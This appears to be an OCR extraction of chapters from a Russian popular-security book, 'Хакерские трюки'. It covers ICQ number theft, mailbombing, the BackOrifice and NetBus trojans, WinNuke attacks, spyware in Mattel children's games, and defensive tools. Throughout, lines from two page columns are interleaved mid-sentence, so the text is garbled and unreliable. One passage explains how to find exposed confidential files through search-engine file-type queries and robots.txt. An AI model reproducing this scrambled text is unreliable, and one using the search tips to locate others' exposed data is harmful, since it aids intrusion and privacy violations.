Invisible, прикрылся объявлением «Я занят (занята)», а вызовы все идут и
телефонную линию.
идут, а на просьбы не беспокоить далеко не все обращают внимание.
И тогда бедный юзер заводит себе новый номер и сообщает его под боль Сервер ICQme играет роль пейджинговой службы, и переданное
шим секретом и только избранным друзьям. вами на специальный номер сообщение с помощью оператора попадет
на нужный экран. Похожая служба действует по адресу www.icqphone.ru.
Но еще больше, чем назойливые призывы немедленно пообщать
На многих сайтах «живут» полезные программы, дополняющие и расши
ся, многих беспокоят вопросы, связанные с безопасностью. С помощью
ряющие «Аськины» возможности. Так, программа ICQ gateway for word
целого списка атакующих программ, свободно доступных в Сети, вам
97 помогает бороться с безграмотными сообщениями. Это расширение
могут сменить пароль, послать собственное сообщение от вашего имени,
дает возможность отправлять выделенный текст по ICQ прямо из Word'а
«завалить» ваш «почтовый ящик», забив его пакетом сообщений, опреде
с уже проверенной орфографией. Есть и обширные списки пользовате
лить IPномер вашего компьютера. Поэтому не лишними будут несколь
лей – среди них «городок», где легко отыскать новых друзей в определен
ко простых советов и правил из списка, предложенного одним белорус
ном городе. А если вас перестало удовлетворять заочное общение с помо
ским автором:
щью текстов и вы хотите взглянуть на собеседника, к вашим услугам
◆ не раздавайте ваш UIN направо и налево — ведь фотогалереи пользователей ICQ – например, «Увидим друг друга». Гово
и телефонный номер вы не сообщаете кому попало; рят, такое развитие онлайновой дружбы порой ведет к более серьезным
отношениям, и уже есть примеры переезда к любимому человеку из
◆ воздержитесь от использования ICQ на рабочих станциях,
Москвы на Урал.
входящих в локальную сеть;
«Аська» давно уже не одинока. Под впечатлением ее успехов ряд
◆ не поддерживайте рассылку массовых сообщений по сети;
фирм приступил к выпуску программкоммуникаторов с аналогичными
◆ при регистрации не указывайте лишних подробностей или даже усовершенствованными функциями.
о себе и местонахождении компьютера;
Интенсивное развитие «Аськи» и других программ прямого обще
◆ не путайте «Аську» и чат — т.е. не держите ее постоянно ния продолжается. В какой мере всем этим богатством пользоваться и
работающей: это же пейджер, а не «уокитоки», и включать пользоваться ли вообще, пусть каждый решает сам. И, надеемся, жен
его лучше с непериодичной регулярностью для ская часть нашей аудитории не будет подозревать любимого в измене
приема/передачи сообщений; лишь потому, что ктото спросит номер его «Аськи» – ну не Наташки же,
в конце концов!
◆ надолго покидая компьютер, выключайте и ICQ, дабы не
ввергать «соседей по станку» в соблазн разыграть когото
от вашего имени. Глава 9.
Напомним, кстати, что разработчик «Аськи» — Mirabilis — никог Компьютерные атаки: стратегия обороны
да не рекомендовал ее использование для критически важных или кон
фиденциальных коммуникаций. («ICQ — это не банковская система», — Речь пойдет о трех основных видах сетевых агрессий, возможных
сказал както Yossi Vardi, один из руководителей Mirabilis). Используйте при работе с ICQ, электронной почтой и, собственно, при подключении
«Аську» по назначению и не воспринимайте это «чудо» (именно таков к Internet.
Хакерские трюки 173 174 Хакерские трюки

Торговля UIN как вид бизнеса Основным параметром здесь, конечно же, является
В последние годы Internetпейджер ICQ не перестает удивлять email, так как для присвоения чужого номера в регистрационную форму
пользователей своими великолепными коммуникационными возможно нужно ввести UIN и пароль пользователя. Но если с UIN ситуация
стями. Однако радость от общения может быть омрачена некоторыми понятна, то пароль можно получить лишь через страницу www.icq.com/
проблемами безопасности, большинство из которых удастся избежать, password, что весьма затруднительно, разве что пользователь был доста
соблюдая элементарные правила при инсталляции программы на свой точно неосторожным и позволил установить в своей системе «троянско
компьютер. го коня» или key logger (программу, созданную неким «доброжелателем»,
которая контролирует работу клавиатуры и записывает данные обо всей
Как известно, уникальные идентификационные номера (UIN, введенной информации в отдельный файл).
Unique Identification Number) ICQ распределяются по простому хроноло
гическому принципу: кто позже подключился, у того и номер больше. Если при регистрации ICQ указан адрес электронной почты, при
Число владельцев популярного сетевого пейджера, ныне сопровождае своенный вам надежным и проверенном в деле провайдером, то считайте
мого компанией America Online, ежедневно увеличивается, поэтому бы свой случай болееменее безопасным. Если же в регистрационной форме
тует мнение, что номер ICQ свидетельствует об опыте работы пользова числится адрес какойто бесплатной службы, тут сетевые «джентльмены
теля в Сети и его компетентности в вопросах Internetтехнологий. удачи» начинают довольно интересную «игру». От вашего имени множе
Например, шестизначный номер говорит о том, что владелец сего сокро ству клиентов рассылаются сообщения рекламного, а порой и откровен
вища — профессионал со стажем, несомненно заслуживающий доверия но порнографического содержания. После нескольких тысяч таких пи
у всех остальных. Ну, а если номер восьмизначный и трудно запоминае сем некоторые пользователи (а иногда и сам агрессор), естественно,
мый, то наверняка его обладатель подключился к Internet совершенно возмутятся подобным нарушением сетевого этикета, о чем не замедлят
недавно, а значит, является неофитом в сетевом сообществе. сообщить компании, предоставляющей услуги бесплатной почты.

Высказывания более чем спорные, что, впрочем, не мешает появ В результате ваш адрес, скорее всего, удалят без какихлибо преду
лению таких сайтов, как www.uinforsale.com, — его авторы на заглавной преждений (кстати, довольно недвусмысленные высказывания касатель
странице в безапелляционном тоне утверждают примерно то же самое и, но рассылки рекламной информации содержатся в Service Agreement
кроме того, добавляют: «…Прописная истина: отношение к новичкам со практически каждого бесплатного сервера). Без какоголибо промедле
вершенно другое, чем к опытным пользователям Internet. Все вышеска ния точно такой же адрес email будет зарегистрирован на имя вашего
занное касается не только отдельных клиентов, но и фирм в целом, «доброжелателя», который с помощью службы Forgotten Password на сай
поэтому нужно непременно заботиться о репутации своих компаний те ICQ добудет «забытый пароль» на все тот же значащийся в системе ад
в Сети». рес электронной почты, однако уже принадлежащий другому человеку.

Честно говоря, еще не приходилось слышать о фирме, солидность Существуют ли какието меры противодействия подобным ата
которой ставилась бы под сомнение изза номера ICQ, однако оставим кам? Как уже было сказано выше, указание адреса, выданного провайде
подобные заявления на совести авторов, научившихся зарабатывать ром, существенно уменьшает возможность закрытия почтового ящика
деньги путем продажи коротких и легко запоминаемых UIN. В контексте по не зависящим от вас причинам. Будет также не лишним установить
данной темы нас более всего интересует securityаспект приобретения та обязательную авторизацию для всех, кто желает добавить ваше имя или
кого номера. ник в свой Contact List. Кроме того, не ведите пространных бесед с не
знакомыми людьми, особенно когда они предлагают вам выслать инте
Итак, какие же действия предпринимают агрессоры для того, что ресные файлы или нужные приложения.
бы узнать заветную комбинацию цифр? На самом деле все очень просто.
Каждому владельцу Internetпейджера известно о такой возможности Тяжелая артиллерия
приложения, как добавление новых клиентов. При этом поиск по базе
Атаки по email на сегодняшний день особенно неприятны для
данных ICQ может осуществляться по имени, адресу электронной почты
пользователей бесплатных почтовых услуг (изза ограничения объема
или UIN пользователя. Эти сведения являются обязательными при реги
почтового ящика), а также для тех, кто подключается к Internet по ком
страции на сервере Mirabilis и поэтому всегда доступны каждому поклон
мутируемой телефонной линии (как известно, время — деньги).
нику «тети Аси».
Хакерские трюки 175 176 Хакерские трюки

Почтовая бомбардировка, или mailbombing, является одним из са тельствам, почтовые атаки могут быть расценены как уголовные пре
мых примитивных видов компьютерных агрессий и практически не при ступления. В Соединенных Штатах подобные действия, повлекшие за
меняется высококлассными взломщиками. При такой атаке на элек собой срыв работы сервера провайдера, считаются федеральными пре
тронный адрес пользователя отсылается большое количество ступлениями и передаются на рассмотрение в ФБР.
сообщений. Ее главная цель, как правило, — засорение ящика или вы
нужденное «зависание» сервера провайдера, пытающегося справиться со И вновь продолжается бой!
всем этим «хламом», поступающим в адрес жертвы. Естественно, все рассмотренные выше виды Internetагрессий мо
Практически любой пользователь, маломальски знакомый с ос гут доставить пользователям определенные проблемы, однако ни кражу
новами работы в Internet, может стать автором такой агрессии. Для при UIN, ни почтовую бомбардировку нельзя расценивать как серьезное по
мера рассмотрим одну из самых распространенных программ подобного кушение на вашу компьютерную систему. Атаки профессиональных
типа — The Unabomber. Как видно из ее интерфейса, все, что требуется взломщиков имеют более изощренный характер, при этом учитывается
знать потенциальному террористу, — это адрес сервера, позволяющего психология жертвы, активно используется информация о спецификации
анонимную отправку сообщений электронной почты, и адрес жертвы. протоколов TCP/IP, на которых построена Internet. Далее мы расскажем
После ввода какоголибо текста в поля Subject и Message и нажатия кноп о том, как подобным действиям можно противостоять.
ки Begin Mailing программа начнет отсылку почтовых сообщений. Коли Согласно Бюллетеню лаборатории информационных технологий
чество отправленных писем указывается в поле Number и может зада NIST, наиболее популярными атаками на пользовательские машины
ваться фактически любым 12разрядным числом. считаются:
Как же уберечься от почтовых атак? Прежде всего, напомним, что ◆ установка вируса на компьютер жертвы с помощью
применять такую программу будут «гореспециалисты по хакингу», уро передачи файла по ICQ;
вень знаний которых оставляет желать лучшего. Поэтому противодей
ствием номер один должно стать элементарное правило: четко осозна ◆ применение BackOrifice и NetBus — продуктов различных
вать, кому и зачем вы сообщаете свой электронный адрес. хакерских групп, позволяющих получать неограниченный
доступ к удаленной системе, если на ней установлен
В качестве преграды для мэйлбомбинга может выступать «троянец»;
и Webсайт провайдера, иногда настраиваемый таким образом, чтобы он
автоматически определял почтовые атаки. В большинстве случаев они ◆ переполнение рабочего телекоммуникационного канала
распознаются сервером посредством сравнения исходных IPадресов пользователя путем отсылки ему огромного количества
входящих сообщений. Если количество сообщений из одного источника TCPпакетов с пометкой «срочно» с помощью WinNUKE.
превышает некие разумные пределы, то все они автоматически поступа
Теперь более подробно остановимся на каждой из них.
ют в Recycle Bin на сервере. Конечно же, ничто не мешает злоумышлен
нику фальсифицировать собственный IPадрес, однако те, кто в силах Программы BackOrifice и NetBus, будучи установленными на ком
совершить подобное, наверняка не станут прибегать к такому примитив пьютер, открывают удаленный доступ к файлам для тех, кто заранее по
ному способу атаки. заботился о «прописке» этих «творений» в вашей системе. Обе они по
добны мелкому воришке, который проник в чужой дом и спрятался под
Приложение BombSquad поможет расчистить почтовый ящик по
кроватью, чтобы потом, когда наступит ночь, открыть двери более серь
сле совершения нападения. Вместо загрузки всех сообщений программа
езным и маститым бандитам. BackOrifice, например, заносится в ди
доставит лишь определенное количество писем. Проведя их сортировку,
ректорию Windows, откуда легче всего получить доступ к важным си
вы сможете отделить нужную почту от mailбомб сетевого террориста.
стемным файлам. BackOrifice и NetBus сегодня обнаруживают
Для тех, кто предпочитает читать заголовки электронных писем на серве
и обезвреживают практически все антивирусные пакеты.
ре перед загрузкой почты на жесткий диск, существует возможность уда
ления всех лишних сообщений без доставки на свой компьютер. Однако Существуют также и другие программы, способные защитить ва
при большом количестве почты такой способ вряд ли удобен. Хочется шу систему от подобных «троянских коней».
также напомнить, что, согласно украинскому и российскому законода
Хакерские трюки 177 178 Хакерские трюки

Утилита NOBO (ее название происходит от «No BackOrifice») не Кроме того, обратите внимание, насколько легко ваше имя может
прерывно контролирует соответствующие порты на предмет поступле добавить в свой список другой пользователь ICQ. Не будет лишним огра
ния в систему данного вируса, хотя в общем она реагирует на любого ро ничить круг потенциальных друзей. Хотя все эти меры довольнотаки
да «подозрительные» пакеты. При этом NOBO выдает сообщение о косметические… Существуют программы, способные распознавать
получении блока данных неизвестного происхождения и тут же закрыва IPадрес даже тех владельцев ICQ, которые предприняли все меры пре
ет порт, предотвращая тем самым возможность продолжения атаки. За досторожности. Именно поэтому в большинстве серьезных компаний
тем программа записывает в logфайл данные об IPадресе агрессора (ко использование данной популярной программы запрещено.
торые могут быть сфальсифицированы, но это уже совсем другая
Но даже если террористу удалось завладеть IPадресом, что, как
история). В случае повторения инцидента эту информацию нужно пре
мы убедились, сделать весьма несложно, это еще вовсе не является
доставить своему провайдеру.
«окончательным приговором» вашей системе. «Атомных атак» поможет
Программа BODetect проверит все ваши жесткие диски на наличие избежать программа Nuke Nabber. Она непрерывно сканирует открытые
BackOrifice. Таким образом, комбинацией этих двух утилит удобно поль порты компьютера, подключенного к Internet, и перехватывает пакеты,
зоваться при частой работе в Internet: с одной стороны, вы можете контро используемые для атаки. Желающие побольше узнать об этой техноло
лировать движение пакетов к вашему компьютеру, с другой — периодиче гии могут почитать ответы на часто задаваемые вопросы по применению
ски запускать антивирус, наученный распознавать именно BackOrifice. Nuke Nabber. Программа распространяется как freeware, после инсталля
ции ярлык на нее желательно установить в папку Автозагрузка меню
Сканеров портов, препятствующих проникновению в вашу систе
Пуск, для того чтобы каждый раз при загрузке компьютера Nuke Nabber
му другого, не менее опасного «троянского коня» NetBus, также суще
запускалась автоматически.
ствует довольно много. Пакет NetBuster, например, прекрасно справится
с этой задачей. Более того, при атаке на ваш компьютер NetBuster будет Многие, возможно, спросят: зачем нужно было приводить назва
умышленно отвечать на запросы агрессора, создавая тем самым впечат ния программ, предназначенных для компьютерных атак? Ведь в руках
ление, что вирус надежно установлен на вашем ПК. В итоге время, по агрессивно настроенного пользователя они станут настоящим оружием и
траченное взломщиком на безуспешные попытки получить доступ к приведут к нежелательным последствиям, тем более что принципы ис
компьютеру «жертвы», увеличится, что, в свою очередь, может помочь пользования упомянутых приложений, как мы успели убедиться, могут
специалистам найти реальный источник угрозы и идентифицировать озадачить разве что дошкольника. Однако, как говорил Суньцзы в трак
компьютер, с которого производится атака. тате «Искусство войны»: «Тот, кто знает врага и знает себя, не окажется
в опасности и в ста сражениях. Тот, кто не знает врага, но знает себя, бу
И наконец, еще один вид компьютерной агрессии, заслужива
дет то побеждать, то проигрывать. Тот, кто не знает ни врага, ни себя, не
ющий отдельного разговора, — атомная атака, или просто «ньюкинг»
избежно будет разбит в каждом сражении».
(nuking). Программы такого рода, используя некоторые ошибки
Windows, отсылают на адрес жертвы большое количество срочных паке
тов, что в конечном итоге приводит к «зависанию» компьютера, а в неко Глава 10.
торых случаях и к повреждению его системных файлов. Основная опас
ность подобных программ заключается в их разрушительной силе и в то Поисковые машины
же время простоте использования.
В последнее время получили довольно широкое распространение
Потенциальному террористу для атаки через Internet с помощью простенькие утилиты, позволяющие преодолевать защиту путем перебо
WinNUKE нужно знать только ваш IPадрес. ра паролей. Именно они и отвлекли внимание не только начинающих,
Какие же меры противодействия следует предпринять в данном но и опытных хакеров от такого мощного и общедоступного инструмен
случае? Прежде всего старайтесь, чтобы ваш IPадрес был известен как та, каким является обычная поисковая машина.
можно меньшему кругу людей. Основные каналы утечки информации об Проявив небольшую изобретательность, любой пользователь
IPадресе — чаты и ICQ. Что касается «тети Аси» — позаботьтесь о том, Internet сумеет с помощью такой машины обойти базовую защиту, пре
чтобы во вкладке Security в поле IP всегда появлялась надпись «N/A» дусматривающую использование пароля, и получить доступ к лакомым
(Not Available — недоступно).
Хакерские трюки 179 180 Хакерские трюки

кусочкам тех сайтов, администраторы которых оказались столь легко Всем, кто стремится к максимальному использованию возможно
мысленными, что допустили их размещение именно там. Если какая стей поисковых машин Internet, можно дать бесплатный совет посетить
либо имеющая ценность информация находится на Webстранице, частный Webсайт fravia+, на котором имеются прямотаки россыпи от
отыскать ее сможет каждый. Некоторые хакеры находят данный способ носящейся к этому виду занятий информации. Здесь же мы ограничимся
исключительно удобным. «Усложненный запрос на поисковой маши буквально несколькими цифрами, фактами и рекомендациями.
не, — делится своим опытом один из них, — дает вам возможность ука
Объем информации, который доступен пользователю в Internet`е,
зывать в нем расширения файлов и осуществлять поиск сайтов и ката
имеет совершенно невообразимые размеры: в мае 2000 года там было уже
логов, в названиях которых имеются такие слова, как index of, admin
около 1,7 млрд. Webстраниц. И этот объем продолжает возрастать неве
или customer, и которые содержат, например, файлы с расширением
роятными темпами, удваиваясь чуть ли не за полгода. В настоящее время
.dat».
каждый день появляется более 3 млн. новых страниц. Как же действовать
Недавно на сервере одного довольно крупного американского пользователю, чтобы наверняка найти то, что ему нужно? Первый и са
провайдера этим способом был обнаружен файл data.txt, содержащий мый главный вопрос — где искать? Оказывается, большую часть инфор
фамилии и имена, адреса, номера карточек социального страхования и мации сейчас уже нельзя найти, используя «классические» поисковые
подробные записи счетов кредитных карточек нескольких сотен чело машины. Самая мощная из них в середине 2000 года охватывала лишь де
век, причем все это было написано открытым текстом. Оказалось, что сятую часть всего объема Internet. Более того, эти машины не проводят
файл принадлежал коммерческому сайту, размещенному на сервере индексацию очень многих интересных мест в Сети. Как правило, они со
ранее. При закрытии сайта его владельцы изза небрежности оставили держат ссылки преимущественно на коммерческие сайты и столь люби
после себя нестертыми часть Webстраниц, некоторые из которых со мые «чайниками» информационные серверы.
держали в высшей степени конфиденциальную информацию. Первона
Все поисковые машины имеют свои достоинства и недостатки.
чально вся эта информация была создана прикладной программой, пред
Поэтому бессмысленно использовать один и тот же поисковый механизм
назначенной для работы с пластиковыми карточками. Как только
(скажем, Altavista) для нахождения разнородной информации. При этом
данный факт получил огласку, информация, естественно, была немед
нельзя не учитывать, что по своей природе Internet подобен зыбучим пес
ленно удалена.
кам: Webстраницы постоянно изменяются, удаляются или перемеща
Как же этот способ поиска работает практически? В качестве при ются. По некоторым оценкам, средняя продолжительность жизни стра
мера возьмем широко известную поисковую машину HotBot. При нажа ницы в Internet`е составляет чуть меньше полутора месяцев.
тии кнопки «усложненный запрос» на главной странице этой машины
Даже самые мощные современные поисковые машины не в состо
вам будет предложен целый набор весьма занимательных опций. Нет не
янии объять все Webпространство. К числу поисковых систем, охваты
обходимости быть виртуозом по использованию булевых операторов —
вающих наибольшее число страниц, относится Inktomi. Она содержит
перед вами симпатичное меню общего шлюзового интерфейса. Введите
ссылки на 0,5 млрд. Webстраниц, что составляет менее трети полного
слова admin и user и наберите в поле «file types» расширение .dat. Срабо
объема Сети. Altavista в настоящее время включает в себя 350 млн. ссы
тает превосходно. Причем все это настолько просто, что под силу даже
лок. Некоторые из наиболее популярных поисковых машин охватывают
ребенку. Возможности просто беспредельные. Единственным ограниче
всего около 5% пространства Сети. Большая проблема для них — успеть
нием являются ваши способности к творчеству.
за стремительным ростом Internet. К тому же переиндексация на поиско
Интересно отметить, что компания Lycos не намерена модифици вых серверах проводится очень медленно, и часто они содержат ссылки
ровать поисковую машину HotBot с тем, чтобы блокировались некото на отсутствующие страницы, что приводит к постоянно появляющейся
рые типы файлов. Хотя у компании и вызывает озабоченность появление ошибке 404.
в Internet по существу незащищенной конфиденциальной информации,
Главное, что хотелось бы пожелать любознательному пользовате
она считает, что поиск по типу файла является полезной характеристи
лю, работающему с поисковыми машинами Internet, — не утонуть в мо
кой машины. Что же касается защиты данных, то это, по мнению Lycos,
ре информации. Возможно, вам придется в интересах успешного поиска
целиком и полностью на совести операторов, которые не должны поме
научиться погружать себя в состояние «дзен». Не исключено, что со вре
щать подобную информацию на общедоступных Webсайтах.
менем вы сумеете создавать свои собственные поисковые програм
Хакерские трюки 181 182 Хакерские трюки

мыроботы. Да мало ли чем стоит овладеть, чтобы находить в Сети то, что на предназначенная для ребенка программа «Игры Артура для развития
не в силах найти никто, кроме вас. навыков чтения» американской фирмы Mattel Interactive. Пользователя
взволновало прежде всего то, что неизвестный файл был записан на вин
Для тех же, кто не вполне представляет себе возможности поиско
честер без его ведома. «Внести полную ясность в предназначение про
вых машин и не в состоянии решить, какие файлы и каталоги он хотел бы
граммы, содержащейся в этом файле, мне так и не удалось, — рассказы
найти, подскажем, что многие сайты Сети снабжены удобным и полез
вал он. – Изза примененной в ней мощной криптозащиты я просто не
ным файлом, который наверняка пригодится начинающим любителям.
в состоянии узнать, что же она делает».
Имя этого файла — robots.txt. Искать его следует в корневом каталоге на
меченного сайта, указав адрес по следующему образцу: http://www.site. В ответ на запрос фирма Mattel вежливо пояснила пользователю,
com/robots.txt. Файл robots.txt предназначен для того, чтобы сообщать что данная программа называется Brodcast и устанавливает связь с их
поисковым машинам, какие каталоги и файлы они не должны индекси серверами, чтобы сообщить об инсталляции конкретного программного
ровать. продукта. При этом программа не собирает какуюлибо информацию
личного характера и не идентифицирует конкретного пользователя.
Ни одна из перечисленных в файле robots.txt позиций не появится
Вместе с тем Mattel сообщила, что планирует в ближайшее время помес
в окне используемой вами поисковой машины в ответ на ваш запрос. Но
тить на своем Webсайте утилиту, предназначаемую для удаления про
когда вы откроете этот файл и увидите содержащиеся в нем имена ката
граммы Brodcast с жестких дисков пользователей. Справедливости ради
логов и файлов, вы сами сможете набрать их непосредственно в адресной
заметим, что фирма действительно это сделала, и теперь каждый жела
строке вашего браузера. В результате вы получите доступ к различным
ющий может загрузить с ее сайта программу cleanbc.exe.
подкаталогам и страницам, которые администраторы сайта предпочли
бы спрятать от вас. Это, конечно, как раз те самые подкаталоги и файлы, Случайной жертвой все той же Brodcast чуть не стал еще ряд поль
которые почти наверняка представляют интерес для потенциального зователей. Однажды вечером, сидя перед телевизором, молодые супруги
взломщика. с интересом наблюдали, как их маленькие сыновья увлеченно играют на
домашнем компьютере в «Читающего кролика» — популярную игровую
А что же порекомендовать операторам Webсайтов, опасающимся
программу фирмы Mattel Interactive, предназначенную для обучения де
стать жертвой «запросов через черный ход»? Единственно правильное
тей чтению и правописанию. Когда дети наигрались и отправились
решение для таких случаев является самоочевидным и совсем неслож
спать, глава семьи пересел к компьютеру и вышел в Internet, чтобы не
ным: нужно просто прекратить помещать важную информацию в местах,
много поработать. Каково же было его удивление, когда через несколько
доступ к которым открыт для всех. Файлам, которые вы не стали бы рас
минут установленный на ПК межсетевой экран выдал предупреждение,
печатывать направо и налево и не поместили бы на доску объявлений,
что программа «Читающий кролик» пытается тайно переслать какието
просто нечего делать на Webсайте.
данные с его компьютера в адрес Mattel.
Внутри внешне безобидной детской программы обеспокоенные
Глава 11. родители обнаружили «закладку» — небольшую программу, которая са
ПрограммыBшпионы в детских играх мостоятельно устанавливается на жесткий диск компьютера и может пе
редавать и получать информацию в то время, когда пользователь нахо
В последнее время участились случаи обнаружения в самых обыч дится в Internet. Настойчивые попытки супругов определить, какие же
ных программных продуктах небольших по объему «шпионских закла данные собрал на их ПК и пытался переслать своим создателям «Чита
док», пересылающих данные о пользователе в адрес фирмыпроизводи ющий кролик», успехом не увенчались. Им лишь удалось установить, что
теля. Такие «закладки» появляются, увы, даже в игровых программах, предназначенная для пересылки информация была зашифрована с ис
предназначенных для детей. пользованием очень сильного криптоалгоритма.

Один из пользователей, привычно запустив перед выключением Фирма Mattel сообщила недоумевающим клиентам, что в про
своего домашнего компьютера программуревизор ADinf, совершенно грамме Brodcast, которая явилась причиной их тревоги, нет ничего
неожиданно для себя обнаружил запрятанный в каталоге Windows новый страшного. Эта программа помещена почти на сотню наименований
исполняемый файл. Он появился после того, как на ПК была установле компактдисков компании в рекламных и маркетинговых целях. Ее пер
Хакерские трюки 183 184 Хакерские трюки

воначальное предназначение состояло в том, чтобы предлагать потреби последних полутора лет. Она автоматически устанавливалась на жест
телю новые программные продукты и пересылать с ее помощью патчи кие диски ПК даже в тех случаях, когда пользователи при инсталляции
для выявленных ошибок. Купившим CDROM с программой «Игры Ар новых игровых программ указанной фирмы удаляли «галочку» из
тура для развития мышления», к примеру, предлагается загрузить бес флажка с надписью «использовать Brodcast», если они его, конечно, за
платную фирменную экранную заставку «Артур». мечали. В результате фирма Mattel удостоилась чести быть упомянутой
на первой странице популярного среди американских правозащитни
Невольным участником еще одного эпизода, связанного с про
ков сайта Privacy.net.
граммой Brodcast, стал известный американский эксперт в области ком
пьютерной безопасности Симсон Гарфинкел. Находясь на борту авиа Здесь будет уместно сказать, что подобные «подарки» встречаются
лайнера над Атлантическим океаном, он работал на своем ноутбуке. не только в детских играх на компактдисках. Многие бесплатные про
Неожиданно компьютер переключился в онлайновый режим. Вернув его граммы, в том числе игровые, которые можно закачать из Internet, содер
в оффлайн и продолжив набирать текст, Гарфинкел вскоре заметил, что жат, наряду с рекламой, самые настоящие «шпионские закладки». Так,
ноутбук вновь самостоятельно перешел из автономного режима в онлай например, бесплатная программафильтр фирмы Surf Monkey не только
новый. Убедившись, что компьютер ему не подчиняется и упрямо стре позволяет родителям закрыть детям доступ ко всяким «нехорошим»
мится в онлайн, Гарфинкел обратился к испытанному средству – переза Webсайтам. Она еще имеет привычку направлять фирмепроизводите
грузке. Когда и это не помогло, он решил разобраться в том, что же лю коекакие данные, в том числе IPадреса пользователей, по которым
происходит с его ноутбуком, и обнаружил некую программу DSSAgent, можно точно определить их местонахождение. Изза поднятого амери
работающую в фоновом режиме. Остановить ее удалось только с помо канскими правозащитниками шума указанная фирма объявила о немед
щью диспетчера задач. ленном прекращении пересылки на свой сервер любой информации
личного характера о пользователях.
Дальнейшее изучение показало, что реестр Windows на ноутбуке
был изменен таким образом, что новая программа автоматически запус Как ни странно, но некоторых людей совершенно не волнует, что
калась при загрузке ОС. На жестком диске она имела вид системного какието данные с их ПК будут уходить через Internet в чьито адреса.
файла, который появился в тот момент, когда дочь Гарфинкела уста Другие, напротив, очень обеспокоены тем, что даже предназначенные
новила на его компьютере детскую игровую обучающую программу для детей компактдиски используются для получения с компьютеров их
«Чтение наперегонки с Артуром» с одноименного компактдиска. Более родителей неизвестно какой информации. Эти люди убеждены, что в
глубокое исследование позволило определить, что DSSAgent содержит принципе установка на ПК шпионской программы, предназначенной
компоненты криптосистемы Pretty Good Privacy, умеет отправлять элек для тайной передачи данных через Internet, позволяет ее хозяевам полу
тронную почту и надежно прятать от неопытного пользователя свои чить с компьютера любую информацию, в том числе электронную почту,
функции. Возвратившись домой, Гарфинкел без труда нашел в Internet пароли и номера кредитных карточек.
производителя программы – фирму Mattel Interactive, от которой и по
Между прочим, те пользователи ПК, кто обеспокоен возможно
лучил подробные разъяснения, уже известные нам по первым двум слу
стью несанкционированной пересылки какойлибо программойшпио
чаям.
ном данных с их компьютеров через Internet, могут скачать и установить
Правда, один момент в этих разъяснениях все же заслуживает у себя межсетевой экран Zone Alarm, который при некоммерческом ис
специального упоминания. Попытки DSSAgent, являющейся состав пользовании является бесплатным для частных лиц. Именно он и позво
ной частью Brodcast, выйти в онлайн во время трансатлантического пе лит выявить «шпионскую закладку».
релета фирма объяснила какимто непонятным для нее самой сбоем в
работе программы. «В штатном режиме, — сообщила сотрудница фир
мы Mattel, — программа должна выходить в Internet только во время се Глава 12.
анса работы пользователя в Сети и к тому же совершенно незаметно». Как защитить себя в Internet?
Кстати, как выяснили американские ревнители неприкосновенности
частной жизни, к которым принадлежит и Симсон Гарфинкел, про Любой пользователь Internet рано или поздно сталкивается с про
грамма Brodcast включалась в большинство программных продуктов, блемами безопасности. Например, получает огромный счет за пользова
реализованных фирмойпроизводителем Mattel Interactive в течение
Хакерские трюки 185 186 Хакерские трюки

ние dialup или находит свою вебстраничку искаженной. Или же резко специализированной программы, выполняющей функции файрволла.
замедляется скорость работы его компьютера. Здесь можно посоветовать @Guard, правда, он вовсе не бесплатный.
Начнем по порядку. Наиболее опасно, пожалуй, воровство кон Помимо осмысленных атак, атак с целью получить какуюлибо
фиденциальной информации. Это, в первую очередь, ваш логин и пароль информацию, существуют и диверсии по типу мелких пакостей. Хотя,
на доступ в Internet. Каким образом подобная информация может стать справедливости ради, заметим, что пакости могут быть не такими уж и
доступной? мелкими. Обычно это атаки, вызывающие повисание или перезагрузку
компьютера, иначе говоря, D.O.S.атаки (не путать с MSDOS, D.O.S.
Простейший и наиболее часто используемый способ — это троян
расшифровывается как Denial of Service, т.е. «отказ в обслуживании»).
цы. Внедрившись в ваш компьютер, троянская программа получает над
Практической пользы D.O.S.атаки для атакующего не несут, это нечто
ним полную власть.
вроде вандализма – разрушил, и хорошо. Здесь опять же уместен истори
Здесь необходим небольшой исторический экскурс. Хотя троян ческий экскурс.
ские программы существуют довольно давно и отличаются большим раз
7 мая 1997 года был обнародован принцип самой, пожалуй, нашу
нообразием, но наиболее громкие события в этой области связаны с про
мевшей D.O.S.атаки под названием WinNuke. Ее жертвами становились
граммой, называемой BackOrifice. Информация о BO впервые была
Windowsсистемы. Автор метода поместил его описание и исходный
опубликована 21 июля 1998 года. Группа хакеров, называющая себя
текст программы в несколько newsконференций. Ввиду его крайней
«Культ мертвой коровы» – «Cult of the Dead Cow», создала троянца для
простоты практически каждый человек мог вооружиться этим новейшим
Windows 95/98. Установленный на машине жертвы, BO позволял любо
оружием. Очевидной первой жертвой стал www.microsoft.com. Данный
му, знающему номер порта и пароль, выполнять на машине жертвы не
сервер находился в состоянии «нестояния» более двух суток.
кие привилегированные операции: исполнять команды операционной
Microsoft.com прекратил откликаться в пятницу вечером (9 мая) и только
системы, просматривать файлы, скачивать и закачивать любые файлы,
к обеду понедельника вновь обрел устойчивость. Приходится только по
манипулировать регистром (registry), получать список активных процес
жалеть его администраторов, которые на протяжении уикэнда были вы
сов, завершать произвольный процесс, незаметно порождать новый про
нуждены регулярно нажимать волшебную комбинацию из трех клавиш,
цесс путем запуска сервиса, получать полную копию клавиатурного вво
после чего реанимированный сервер падал вновь. Конечно же, наряду с
да и многое другое. Графический клиент BO был способен, кроме того,
жертвой номер один, в мае 97 пали многие серверы. К чести Microsoft
получать содержимое экрана жертвы. Попросту говоря, используя BO,
следует заметить, что заплатки появились и стали доступны достаточно
можно делать с компьютером все. И даже более того, производить такие
быстро.
операции, о возможности которых обычный пользователь и не подозре
вает. Далее, в том же 1997 году, D.O.S.атаки стали появляться с завид
ной регулярностью. Teardrop, SSping, Land, Ping of Death и многие другие
Собственно, программа состоит из двух частей: сервера и клиента.
возникали буквально каждую неделю. Гдето в середине лета www.micro
Серверная часть внедряется на компьютер жертвы. После этого подклю
soft.com прикрыли какимто очень хитрым файрволлом. С тех пор
читься к компьютеружертве можно, используя клиентскую программу.
прошло много времени, но подобного бума D.O.S.атак больше не слу
Всю вторую половину 98 года Сеть испытывала повальное увлечение BO.
чалось.
Пожалуй, количество взломанных с помощью BO компьютеров и сетей
превышает число жертв всех остальных широко известных атак и дивер Итак, что же могут сделать ваши недруги, используя D.O.S.атаки?
сий. Популярность BO породила волну клонов, из которых наиболее из Обычная атака выглядит как программа. Написанная непонятно кем и
вестны NetBus, NetSphere, GirlFriend, GateCrasher и др. где, она предоставляет возможность ввода IPадреса атакуемой машины:
нажимаем кнопку, и жертва умирает не мучаясь (или мучаясь). В случае
Какие способы защиты здесь можно посоветовать? Ровно такие,
успешной атаки компьютержертва повисает или перезагружается – и
